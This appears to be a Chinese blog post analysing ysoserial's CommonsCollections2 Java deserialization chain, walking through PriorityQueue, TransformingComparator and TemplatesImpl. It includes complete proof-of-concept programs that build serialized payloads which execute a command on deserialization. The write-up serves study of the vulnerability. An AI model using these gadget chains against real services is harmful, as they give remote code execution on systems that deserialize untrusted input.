ysoserial CommonsColletions2分析

ysoserial CommonsColletions2分析

前言

此文章是ysoserial中 commons-collections2 的分析文章,所需的知识包括java反射,javassist。

在CC2中是用的 PriorityQueue#reaObject作为反序列化的入口,利用javassist创建了一个攻击类,使用TemplatesImpl类来承载他

而CC1利用链在JDK1.8 8u71版本以后是无法使用的,具体是AnnotationInvocationHandlerreadobject进行了改写。导致高版本中利用链无法使用。

从而引入CC2,CC2需要在commons-collections-4.0版本使用,3.1-3.2.1版本不能去使用,原因是Commons Collections2的payload中使用的TransformingComparator在3.1-3.2.1版本中还没有实现Serializable接口,无法被反序列化。

TransformingComparator

TransformingComparator是一个比较器comparator

在TransformingComparator的构造方法中,传入了两个值transformerdecorated(如图所示)

先理解重点这一句话:

TransformingComparator调用compare方法时,就会调用传入transformer对象的transform方法

具体实现是this.transformer在传入ChainedTransformer后,会调用ChainedTransformer#transform反射链

ysoserial CommonsColletions2分析

PriorityQueue

PriorityQueue是一个优先队列,作用是用来排序,重点在于每次排序都要触发传入的比较器comparator的compare()方法

在CC2中,此类用于调用PriorityQueue重写的readObject来作为触发入口

ysoserial CommonsColletions2分析

readObject调用了heapify()

ysoserial CommonsColletions2分析

heapify()调用了siftDown()

ysoserial CommonsColletions2分析

siftDown()需要调用到siftDownUsingComparator

ysoserial CommonsColletions2分析

在siftDownUsingComparator中调用了comparator.compare

此步关键来了,如果把这里的成员变量comparator替换为TransformingComparator会发生什么,结合开头说的。

TransformingComparator#compare方法会去调用this.transformertransform方法。

类比通过TransformingComparator的构造函数传入transformer值为ChainedTransformer后,会调用ChainedTransformer的transform方法。这一步又回到了像CC1中的调用方式。

ysoserial CommonsColletions2分析

利用链顺序

PriorityQueue.readObject()

PriorityQueue.heapify()

PriorityQueue.siftDown()

PriorityQueue.siftDownUsingComparator()

TransformingComparator.compare()

InvokerTransformer.transformat()

可是要满足以上完整的利用链,需要满足几个条件

1. size>= 2

siftDownUsingComparator(int k, E x)中的满足while (k < half)

在条件while (k < half) 下

因为int half = size >>> 1得到(size >>> 1) - 1 >= 0

解出size>= 2

ysoserial CommonsColletions2分析

而size默认值是为0的,需要经过两次offer后变为2,所以

queue.add(1);
queue.add(2);

ysoserial CommonsColletions2分析

2. initialCapacity的值要大于1

由构造函数传入initialCapacity的值,当值小于1时候,表达式成立会抛出异常。所以要传入大于或等于1的数即new PriorityQueue(2)

ysoserial CommonsColletions2分析

3. comparator != null

ysoserial CommonsColletions2分析

comparator 是通过PriorityQueue 的构造方法传入

通过以上,写出poc

Transformer[] transformers = new Transformer[] {
        new ConstantTransformer(Runtime.class),
        new InvokerTransformer(
                "getMethod",
                new Class[] {String.class, Class[].class },
                new Object[] {"getRuntime", new Class[0] }
        ),
        new InvokerTransformer(
                "invoke",
                new Class[] {Object.class,Object[].class },
                new Object[] {null, null }
        ),
        new InvokerTransformer(
                "exec",
                new Class[] {String.class },
                new Object[] { "calc.exe" }
        )
};
ChainedTransformer template = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(template);

PriorityQueue queue = new PriorityQueue(2, transformingComparator);
queue.add(1);
queue.add(2);

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(queue);
oos.close();
System.out.println(barr.toString());
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();

此刻会报错,在执行反序列化的时候不会弹出计算器

问题定位到queue.add(2);处,此处调用进入到 TransformingComparator#comparethis.decorated.compare(value1, value2)

此时的this.decorated为ComparableComparator类型

ysoserial CommonsColletions2分析

进入ComparableComparator#compare方法,进行了obj1.compareTo(obj2),也就是value1的compareTo

ysoserial CommonsColletions2分析

而value1的类型为ProcessImpl,由于 ProcessImpl 没有实现Comparable而无法调用compareTo方法造成报错程序终止,就没有继续执行后面生成序列化数据的代码

ysoserial CommonsColletions2分析

既然进入到siftUpUsingComparator 程序会报错。那么是否先可以不传入TransformingComparator对象,让 comparator 为null,从而让他进入到 siftUpComparable(siftUpComparable因为没有进行comparator.compare而不会产生报错)

ysoserial CommonsColletions2分析

ysoserial CommonsColletions2分析

但是此刻没有传入TransformingComparator对象是无法反序列化执行payload得,所以怎么让PriorityQueue的comparator参数为null,又不会报错呢。

可以先使用add方法后,再利用反射传入TransformingComparator对象

PriorityQueue queue = new PriorityQueue(2);
queue.add(1);
queue.add(2);

Field comparator = queue.getClass().getDeclaredField("comparator"); //获取comparator成员变量
comparator.setAccessible(true);
comparator.set(queue,transformingComparator); //设置comparator成员变量的值

最后得出poc:

public static void main(String[] args) throws Exception {
    Transformer[] transformers = new Transformer[] {
            new ConstantTransformer(Runtime.class),
            new InvokerTransformer(
                    "getMethod",
                    new Class[] {String.class, Class[].class },
                    new Object[] {"getRuntime", new Class[0] }
            ),
            new InvokerTransformer(
                    "invoke",
                    new Class[] {Object.class,Object[].class },
                    new Object[] {null, null }
            ),
            new InvokerTransformer(
                    "exec",
                    new Class[] {String.class },
                    new Object[] { "calc.exe" }
            )
    };
    ChainedTransformer template = new ChainedTransformer(transformers);
    TransformingComparator transformingComparator = new TransformingComparator(template);

    PriorityQueue queue = new PriorityQueue(2);
    queue.add(1);
    queue.add(2);

    Field comparator = queue.getClass().getDeclaredField("comparator");
    comparator.setAccessible(true);
    comparator.set(queue,transformingComparator);

    ByteArrayOutputStream barr = new ByteArrayOutputStream();
    ObjectOutputStream oos = new ObjectOutputStream(barr);
    oos.writeObject(queue);
    oos.close();
    System.out.println(barr.toString());
    ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
    ois.readObject();

}

com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

虽然上面已经可以进行poc构造,但是在CC2的利用链中,却抛弃了CC1中使用的ChainedTransformer,而使用了TemplatesImpl类来承载payload,利用InvokerTransformer来执行TemplatesImpl类中的方法。

因为知识浅薄,暂时想不通为什么作者要复杂化,那我们就跟着作者的思路来分析吧。

我们逆向分析构造:

首先利用javassist来构造一个名为CommonsCollections2的对象,并写入payload后转换为byte数组:

//创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个CommonsCollections2类
		payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组

在最后的bytes数组可以利用defineClass方法把byte[]类型的数据变成Class对象,然后再newInstance实例化对象时执行无参构造函数

而刚好在TemplatesImpl有个成员变量_bytecodes[],在调用TemplatesImpl#defineTransletClasses方法时,会把 _bytecodes里面的字节码文件加载成Class对象(如下图)

defineClass方法可以从byte[]还原出一个Class对象,Class对象在调用newInstance()方法就会进行实例化

ysoserial CommonsColletions2分析

在哪里既调用到了defineTransletClasses方法,也调用到newInstance方法呢?

在TemplatesImpl类中有个getTransletInstance方法调用了defineTransletClasses方法,并且利用_class.newInstance实例化了对象

ysoserial CommonsColletions2分析

在这里有两个注意点:

1.此类必须继承了AbstractTranslet,也就是上面利用javassist构造的类,需要加入父类AbstractTranslet的原因

ysoserial CommonsColletions2分析

2.TemplatesImpl中_name的值不为null,才会调用到defineTransletClasses

ysoserial CommonsColletions2分析

接下来看看getTransletInstance是怎么被调用的

在newTransformer方法中调用了getTransletInstance方法

ysoserial CommonsColletions2分析

好了,TemplatesImpl的利用链已经很明显了,这时候我们只需要传入_name和 _bytecodes的值即可。这里利用反射传入两个值

		//通过反射注入bytes的值
        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        //通过反射设置_name的值不为null
        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);
        field1.set(templatesImpl,"xxx");//将templatesImpl上的_name字段设置为xxx

这时候已经差不多了,我们只需要调用TemplatesImpl#newTransformer方法就可以运行runtime了。那么有什么方法能调用到newTransformer嘛

这里利用的是InvokerTransformer类的反射调用

InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});

而InvokerTransformer类中利用了反射技术的调用方法是InvokerTransformer#transform,怎么调用到InvokerTransformer#transform

在文章开头说过TransformingComparatorcompare方法会去调用传入参数的transform方法

所以,我们可以通过构造方法传入InvokerTransformer进TransformingComparator(this.transform = InvokerTransformer)

然后再调用TransformingComparator#compare方法,就会调用到InvokerTransformer#transform

TransformingComparator comparator =new TransformingComparator(transformer);

既然已经传入了InvokerTransformer了,怎么调用TransformingComparatorcompare方法呢,现在我们可以使出PriorityQueue了。

在PriorityQueue#siftDownUsingComparator中调用到了compare。

ysoserial CommonsColletions2分析

comparator.compare中的成员变量comparator如果为TransformingComparator则完成了TransformingComparator调用compare方法构造

可以通过反射把comparator的值注入成TransformingComparator

		PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

		//获取queue对象的comparator属性
        Field field2=queue.getClass().getDeclaredField("comparator");
        field2.setAccessible(true);
   
		//把comparator的值设置为TransformingComparator
        field2.set(queue,TransformingComparator);  

回到调用了PriorityQueue#siftDownUsingComparator处,再逆向思维往上推理

siftDownUsingComparator在siftDown调用了

ysoserial CommonsColletions2分析

而siftDown由heapify调用

ysoserial CommonsColletions2分析

heapify是PriorityQueue反序列readObject时候调用

ysoserial CommonsColletions2分析

现在,整个思路已经很明显了,我们来简单总结一遍

  1. 利用javassist构造一个恶意对象,写入payload后转换为byte数组
  2. 利用InvokerTransformer#transform反射调用TemplatesImpl#newTransformer
  3. 利用TransformingComparator#compare调用到InvokerTransformer#transform
  4. 利用PriorityQueue#siftDownUsingComparator调用到TransformingComparator#compare
  5. 利用PriorityQueue#readObject调用到PriorityQueue#siftDownUsingComparator

根据上面的思路构造POC:

package ysoserial.test;


import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;


public class TestCC2 {
    public static void main(String[] args) throws Exception {
        String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
        String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";


        //创建CommonsCollections2对象,父类为AbstractTranslet,注入了payload进构造函数
        ClassPool classPool=ClassPool.getDefault();//返回默认的类池
        classPool.appendClassPath(AbstractTranslet);//添加AbstractTranslet的搜索路径
        CtClass payload=classPool.makeClass("CommonsCollections2");//创建一个新的public类
        payload.setSuperclass(classPool.get(AbstractTranslet));  //设置CommonsCollections2类的父类为AbstractTranslet
        payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");"); //创建一个static方法,并插入runtime
        byte[] bytes=payload.toBytecode();//转换为byte数组

        //通过反射注入bytes的值
        Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();//反射创建TemplatesImpl
        Field field=templatesImpl.getClass().getDeclaredField("_bytecodes");//反射获取templatesImpl的_bytecodes字段
        field.setAccessible(true);
        field.set(templatesImpl,new byte[][]{bytes});//将templatesImpl上的_bytecodes字段设置为runtime的byte数组

        //通过反射设置_name的值不为null
        Field field1=templatesImpl.getClass().getDeclaredField("_name");//反射获取templatesImpl的_name字段
        field1.setAccessible(true);
        field1.set(templatesImpl,"xxx");//将templatesImpl上的_name字段设置为xxx

        InvokerTransformer transformer=new InvokerTransformer("newTransformer",new Class[]{},new Object[]{});
        TransformingComparator comparator =new TransformingComparator(transformer);//使用TransformingComparator修饰器传入transformer对象

        //创建PriorityQueue实例化对象,排序后使size值为2
        PriorityQueue queue = new PriorityQueue(2);
        queue.add(1);
        queue.add(1);

        Field field2=queue.getClass().getDeclaredField("comparator");//获取PriorityQueue的comparator字段
        field2.setAccessible(true);
        field2.set(queue,comparator);//设置PriorityQueue的comparator字段值为comparator

        Field field3=queue.getClass().getDeclaredField("queue");//获取PriorityQueue的queue字段
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置PriorityQueue的queue字段内容Object数组,内容为templatesImpl

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(queue);
        oos.close();

        System.out.println(barr.toString());
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        ois.readObject();

    }
}

弹出计算器:

ysoserial CommonsColletions2分析

思考在POC的最后几句:

 		Field field3=queue.getClass().getDeclaredField("queue");//获取PriorityQueue的queue字段
        field3.setAccessible(true);
        field3.set(queue,new Object[]{templatesImpl,templatesImpl});//设置PriorityQueue的queue字段内容Object数组,内容为反射创建的templatesImpl

这里其实是在传入InvokerTransformer#transform中的input

ysoserial CommonsColletions2分析

参考:

https://www.cnblogs.com/depycode/p/13583102.html

https://www.cnblogs.com/nice0e3/p/13860621.html

欢迎关注我的公众号,同步更新喔

ysoserial CommonsColletions2分析

ysoserial CommonsColletions2分析

上一篇:redis为什么要提供pipeline功能


下一篇:Arrays工具类的使用